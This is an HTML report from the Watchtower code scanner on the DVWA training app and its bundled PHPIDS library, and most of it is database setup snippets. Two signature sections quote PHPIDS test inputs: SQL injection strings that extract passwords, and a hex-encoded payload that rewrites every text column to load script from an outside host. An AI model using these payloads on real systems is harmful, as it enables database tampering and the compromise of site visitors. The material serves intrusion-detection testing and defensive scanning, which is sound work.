class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>37- * Needed SQL: 38- * 39- 40: #create the <span class='match_highlight'>database</span> 41- 42- CREATE DATABASE IF NOT EXISTS `phpids` DEFAULT CHARACTER 43- SET utf8 COLLATE utf8_general_ci;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>59</span> <span class='match_count'>(9/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>56-/** 57- * Database caching wrapper 58- * 59: * This class inhabits functionality to get and set cache via a <span class='match_highlight'>database</span>. 60- * 61- * @category Security 62- * @package PHPIDS</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>106</span> <span class='match_count'>(10/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>103- /** 104- * Constructor 105- * 106: * Connects to <span class='match_highlight'>database</span>. 107- * 108- * @param string $type caching type 109- * @param array $init the IDS_Init object</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>139</span> <span class='match_count'>(11/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>136- } 137- 138- /** 139: * Writes cache data into the <span class='match_highlight'>database</span> 140- * 141- * @param array $data the caching data 142- *</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>202</span> <span class='match_count'>(12/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>199- } 200- 201- /** 202: * Connect to <span class='match_highlight'>database</span> and return a handle 203- * 204- * @return object dbh 205- * @throws PDOException if a db error occurred</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>238</span> <span class='match_count'>(13/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>235- /** 236- * Write the cache data to the table 237- * 238: * @param object $handle the <span class='match_highlight'>database</span> handle 239- * @param array $data the caching data 240- * 241- * @return object dbh</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Database.php</span>:<span class='line_number'>61</span> <span class='match_count'>(14/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>58-/** 59- * Database logging wrapper 60- * 61: * The <span class='match_highlight'>database</span> wrapper is designed to store reports into an sql <span class='match_highlight'>database</span>. It 62- * implements the singleton pattern and is based in PDO, supporting 63: * different <span class='match_highlight'>database</span> types. 64- * 65- * @category Security 66- * @package PHPIDS</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Database.php</span>:<span class='line_number'>131</span> <span class='match_count'>(15/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>128- * Instance container 129- * 130- * Due to the singleton pattern this class allows to initiate only one instance 131: * for each <span class='match_highlight'>database</span> wrapper. 132- * 133- * @var array 134- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Log/Database.php</span>:<span class='line_number'>239</span> <span class='match_count'>(16/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>236- } 237- 238- /** 239: * Stores given data into the <span class='match_highlight'>database</span> 240- * 241- * @param object $data IDS_Report instance 242- *</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./setup.php</span>:<span class='line_number'>21</span> <span class='match_count'>(17/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>18- include_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/DBMS/PGSQL.php'; 19- } 20- else { 21: dvwaMessagePush( "ERROR: Invalid <span class='match_highlight'>database</span> selected. Please review the config file syntax." ); 22- dvwaPageReload(); 23- } 24-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./setup.php</span>:<span class='line_number'>32</span> <span class='match_count'>(18/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>29-<div class=\"body_padded\"> 30- <h1>Database setup <img src=\"".DVWA_WEB_PAGE_TO_ROOT."dvwa/images/spanner.png\"></h1> 31- 32: <p>Click on the 'Create / Reset Database' button below to create or reset your <span class='match_highlight'>database</span>. If you get an error make sure you have the correct user credentials in /config/config.inc.php</p> 33- 34: <p>If the <span class='match_highlight'>database</span> already exists, it will be cleared and the data will be reset.</p> 35- 36- <br /> 37-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>526</span> <span class='match_count'>(19/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>523- 524-$DBMS_connError = '<div align="center"> 525- <img src="'.DVWA_WEB_PAGE_TO_ROOT.'dvwa/images/logo.png"> 526: <pre>Unable to connect to the <span class='match_highlight'>database</span>.<br>'.$DBMS_errorFunc.'<br /><br /></pre> 527: Click <a href="'.DVWA_WEB_PAGE_TO_ROOT.'setup.php">here</a> to setup the <span class='match_highlight'>database</span>. 528- </div>'; 529- 530-function dvwaDatabaseConnect() {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>539</span> <span class='match_count'>(20/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>536- if ($DBMS == 'MySQL') { 537- 538- if( !@mysql_connect( $_DVWA[ 'db_server' ], $_DVWA[ 'db_user' ], $_DVWA[ 'db_password' ] ) 539: || !@mysql_select_db( $_DVWA[ 'db_<span class='match_highlight'>database</span>' ] ) ) { 540- die( $DBMS_connError ); 541- } 542-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/dvwaPage.inc.php</span>:<span class='line_number'>547</span> <span class='match_count'>(21/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>544- 545- elseif ($DBMS == 'PGSQL') { 546- 547: $dbconn = pg_connect("host=".$_DVWA[ 'db_server' ]." dbname=".$_DVWA[ 'db_<span class='match_highlight'>database</span>' ]." user=".$_DVWA[ 'db_user' ]." password=".$_DVWA[ 'db_password' ]) 548- or die( $DBMS_connError ); 549- 550- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/PGSQL.php</span>:<span class='line_number'>5</span> <span class='match_count'>(22/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/* 4- 5:This file contains all of the code to setup the initial PostgreSQL <span class='match_highlight'>database</span>. (setup.php) 6- 7-*/ 8- 9-// Connect to server 10-if ( !@pg_connect("host=".$_DVWA[ 'db_server' ]." port=".$_DVWA[ 'db_port' ]." user=".$_DVWA[ 'db_user' ]." password=".$_DVWA[ 'db_password' ]) ) { 11: dvwaMessagePush( "Could not connect to the <span class='match_highlight'>database</span> - please check the config file." ); 12- dvwaPageReload(); 13-} 14- 15:// Create <span class='match_highlight'>database</span> 16-$drop_db = "DROP DATABASE IF EXISTS dvwa;"; 17- 18-if( !@pg_query($drop_db) ) { 19: dvwaMessagePush( "Could not drop existing <span class='match_highlight'>database</span><br />SQL: " . pg_last_error() ); 20- dvwaPageReload(); 21-} 22- 23-$create_db = "CREATE DATABASE dvwa;"; 24- 25-if( !@pg_query ( $create_db ) ) { 26: dvwaMessagePush( "Could not create <span class='match_highlight'>database</span><br />SQL: " . pg_last_error() ); 27- dvwaPageReload(); 28-} 29- 30-dvwaMessagePush( "Database has been created." ); 31- 32- 33:// Connect to server AND connect to the <span class='match_highlight'>database</span> 34:$dbconn = @pg_connect("host=".$_DVWA[ 'db_server' ]." port=".$_DVWA[ 'db_port' ]." dbname=".$_DVWA[ 'db_<span class='match_highlight'>database</span>' ]." user=".$_DVWA[ 'db_user' ]." password=".$_DVWA[ 'db_password' ]); 35- 36- 37-// Create table 'users'</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/DBMS.php</span>:<span class='line_number'>5</span> <span class='match_count'>(23/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/* 4- 5:This file contains all of the <span class='match_highlight'>database</span> management code for DVWA. 6:All code related to <span class='match_highlight'>database</span> management should be kept in here. 7- 8-*/ 9-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/DBMS.php</span>:<span class='line_number'>67</span> <span class='match_count'>(24/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>64- 65-$DBMS_connError = '<div align="center"> 66- <img src="'.DVWA_WEB_PAGE_TO_ROOT.'dvwa/images/logo.png"> 67: <pre>Unable to connect to the <span class='match_highlight'>database</span>.<br>'.$DBMS_errorFunc.'<br /><br /></pre> 68: Click <a href="'.DVWA_WEB_PAGE_TO_ROOT.'setup.php">here</a> to setup the <span class='match_highlight'>database</span>. 69- </div>'; 70- 71-function dvwaDatabaseConnect() {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/DBMS.php</span>:<span class='line_number'>78</span> <span class='match_count'>(25/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>75- 76- if ($DBMS == 'MySQL') { 77- if( !@mysql_connect( $_DVWA[ 'db_server' ], $_DVWA[ 'db_user' ], $_DVWA[ 'db_password' ] ) 78: || !@mysql_select_db( $_DVWA[ 'db_<span class='match_highlight'>database</span>' ] ) ) { 79- die( $DBMS_connError ); 80- } 81- } 82- 83- elseif ($DBMS == 'PGSQL') { 84: $dbconn = @pg_connect("host=".$_DVWA[ 'db_server' ]." port=".$_DVWA[ 'db_port' ]." dbname=".$_DVWA[ 'db_<span class='match_highlight'>database</span>' ]." user=".$_DVWA[ 'db_user' ]." password=".$_DVWA[ 'db_password' ]) 85- or die( $DBMS_connError ); 86- } 87-}</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./dvwa/includes/DBMS/MySQL.php</span>:<span class='line_number'>5</span> <span class='match_count'>(26/26)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2- 3-/* 4- 5:This file contains all of the code to setup the initial MySQL <span class='match_highlight'>database</span>. (setup.php) 6- 7-*/ 8- 9-if( !@mysql_connect( $_DVWA[ 'db_server' ], $_DVWA[ 'db_user' ], $_DVWA[ 'db_password' ] ) ) { 10: dvwaMessagePush( "Could not connect to the <span class='match_highlight'>database</span> - please check the config file." ); 11- dvwaPageReload(); 12-} 13- 14:// Create <span class='match_highlight'>database</span> 15-$drop_db = "DROP DATABASE IF EXISTS dvwa;"; 16-if( !@mysql_query ( $drop_db ) ) { 17: dvwaMessagePush( "Could not drop existing <span class='match_highlight'>database</span><br />SQL: ".mysql_error() ); 18- dvwaPageReload(); 19-} 20- 21-$create_db = "CREATE DATABASE dvwa;"; 22- 23-if( !@mysql_query ( $create_db ) ) { 24: dvwaMessagePush( "Could not create <span class='match_highlight'>database</span><br />SQL: ".mysql_error() ); 25- dvwaPageReload(); 26-} 27- 28-dvwaMessagePush( "Database has been created." ); 29- 30-// Create table 'users' 31:if( !@mysql_select_db( $_DVWA[ 'db_<span class='match_highlight'>database</span>' ] ) ) { 32: dvwaMessagePush( 'Could not connect to <span class='match_highlight'>database</span>.' ); 33- dvwaPageReload(); 34-} 35-</code></pre> </div> </div> </div> </div> <div class='signature_7f138a09169b250e9dcb378140907378 signature_group_hashes signature_group'> <a name='s-7f138a09169b250e9dcb378140907378'></a> <h3> <code>MD5</code> <span class='signature_count'>(1)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","7f138a09169b250e9dcb378140907378")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>908</span> <span class='match_count'>(1/1)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>906- $exploits[] = "asd' union distinct(select null,password,null from users)--a "; 907- $exploits[] = "asd' union distinct ( select null,password,(null)from user )-- a "; 908: $exploits[] = 'DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C<span class='match_highlight'>41524520405420766172636861722832</span>3535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);'; 909- $exploits[] = "asaa';SELECT[asd]FROM[asd]"; 910- $exploits[] = "asd'; select [column] from users "; 911- $exploits[] = "0x31 union select @@version,username,password from users ";</code></pre> </div> </div> </div> </div> <div class='signature_9a9f4eb6d0036a164588b6ee74390442 signature_group_hashes signature_group'> <a name='s-9a9f4eb6d0036a164588b6ee74390442'></a> <h3> <code>SHA1</code> <span class='signature_count'>(1)</span> <span class='top_hide'> <a href='#'>Top</a> | <a onclick='wt.signature.toggle("php","9a9f4eb6d0036a164588b6ee74390442")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>908</span> <span class='match_count'>(1/1)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>906- $exploits[] = "asd' union distinct(select null,password,null from users)--a "; 907- $exploits[] = "asd' union distinct ( select null,password,(null)from user )-- a "; 908: $exploits[] = 'DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C<span class='match_highlight'>4043207661726368617228343030302920444543</span>4C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);'; 909- $exploits[] = "asaa';SELECT[asd]FROM[asd]"; 910- $exploits[] = "asd'; select [column] from users "; 911- $exploits[] = "0x31 union select @@version,username,password from users ";</code></pre> </div> </div> </div> </div> </div> <!-- column_content --> </div> <!-- @close_filetype --> </div> <!-- main --> <footer>Report generated by <a href='https://github.com/chrisallenlane/watchtower'>Watchtower</a>.</footer> </div> </body> </html>